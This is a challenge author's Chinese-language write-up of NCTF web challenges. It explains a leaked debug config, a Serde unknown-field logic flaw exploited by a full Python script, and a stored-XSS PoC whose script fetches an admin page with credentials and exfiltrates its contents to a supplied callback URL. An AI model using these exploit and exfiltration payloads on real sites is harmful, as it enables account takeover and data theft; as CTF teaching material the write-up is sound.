NCTF Web 在此比赛之前红明谷的AI大战已经给了我点教训,所以我这次全给的黑盒,但是又怕人容易做的难受,所以又给了点提示,总之就是平衡了一下
结果就是审了几天wp,吃了几百页的AI写的史,受不了了
N-Horse 参考了一下 MoeCTF 2025 - 22章
原题就是一个没有过滤的内存马,因为源码很容易看出来,这次我给了个黑盒,然后就看到全是用盲注的,还看到有卡了AI一个小时的,何意味…
N-RustPICA 自认为前端做的还不错的一个番剧网站,预期是出白盒的,后面改成黑盒,就在各个地方放了大坨的提示
首先能看到注册这边有一个:
公开注册已关闭,管理员账号仅用于内部联调,静态资源目录里仍留有联调遗留文件(5毛删除)
然后扫目录进去可以看到一个 /debug 和 /asserts
再去对这两个目录进行扫描能发现 /debug/config.json,访问就可以得到账号密码
进去之后就好办了,因为放的是黑盒所以我把一些逻辑放在了旧流程说明中,打开就可以看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #[serde(untagged)] pub enum TransitionRequest { QuickPublish (QuickPublishRequest), Moderated (ModeratedTransitionRequest), } pub struct QuickPublishRequest { pub action: String , } pub struct ModeratedTransitionRequest { pub action: String , pub target_status: AnimeStatus, pub reviewer_token: String , pub featured: bool , } { "action" : "publish" , "targetStatus" : "published" , "reviewerToken" : "FEATURE-REVIEW-2025" , "featured" : false , "approvalTicket" : "PENDING-APPROVAL" }
对 JSON 这类格式,Serde 默认忽略未知字段,所以提交完整五字段 JSON 时,approvalTicket 会被忽略
(突然发现我好像直接把payload给出来了)
1 2 3 4 5 6 7 8 9 10 11 POST /api/admin/anime/anime-0007/transition Cookie: nctf_admin_session=... Content-Type: application/json { "action" : "publish" , "targetStatus" : "published" , "reviewerToken" : "FEATURE-REVIEW-2025" , "featured" : false , "approvalTicket" : "denied" }
然后就可以在首页看到对应的内部番剧 (早知道我真放点内部番剧进去了)
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import argparseimport base64import sysimport requestsdef decode_password (parts ): return "" .join(base64.b64decode(part).decode() for part in parts) def must_json (response ): response.raise_for_status() return response.json() def main (): parser = argparse.ArgumentParser() parser.add_argument("--base" , default="http://127.0.0.1:3000" ) args = parser.parse_args() base = args.base.rstrip("/" ) session = requests.Session() config = must_json(session.get(f"{base} /debug/config.json" )) username = config["adminUser" ] password = decode_password(config["passwordParts" ]) login_response = session.post( f"{base} /api/auth/login" , json={"username" : username, "password" : password}, ) must_json(login_response) admin_list = must_json(session.get(f"{base} /api/admin/anime" ))["data" ] hidden = next ( (item for item in admin_list if item["id" ] == "anime-0007" ), None , ) if hidden is None : hidden = next ( (item for item in admin_list if item.get("status" ) == "internal" ), None , ) if hidden is None : raise RuntimeError("hidden anime not found" ) hidden_id = hidden["id" ] template = must_json(session.get(f"{base} /api/admin/templates/review-flow" ))["data" ] payload = dict (template["payload" ]) payload["approvalTicket" ] = "denied" transition = session.post( f"{base} /api/admin/anime/{hidden_id} /transition" , json=payload, ) detail = must_json(session.get(f"{base} /api/anime/{hidden_id} " ))["data" ] print (f"flag: {detail['description' ]} " ) if __name__ == "__main__" : try : main() except Exception as error: print (f"{error} " ) sys.exit(1 )
N-MinSite 对应MaxSite109.2,暂不公开,等到回我邮件的时候再公开,虽然依旧被AI秒杀
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def build_payload (exfil_url: str ) -> str : separator = "&" if "?" in exfil_url else "?" send_url = f"{exfil_url} {separator} src=bot" return f"""<section> <h2>Editorial Preview</h2> <p>Queued for homepage rendering.</p> </section> <script> (async () => {{ const callback = {send_url!r} ; const send = (kv) => {{ const img = new Image(); img.referrerPolicy = 'no-referrer'; img.src = callback + '&' + kv; }}; const response = await fetch('/admin', {{ credentials: 'include' }}); const text = await response.text(); const match = text.match(/id=["']gzctf-flag-value["'][^>]*>([^<]+)/i); const flag = match ? match[1].trim() : 'flag_not_found'; send('flag=' + encodeURIComponent(flag)); }})().catch((error) => {{ const reason = error && error.message ? error.message : 'bot_fetch_failed'; (new Image()).src = {send_url!r} + '&error=' + encodeURIComponent(reason); }}); </script> """
然后等待bot回显即可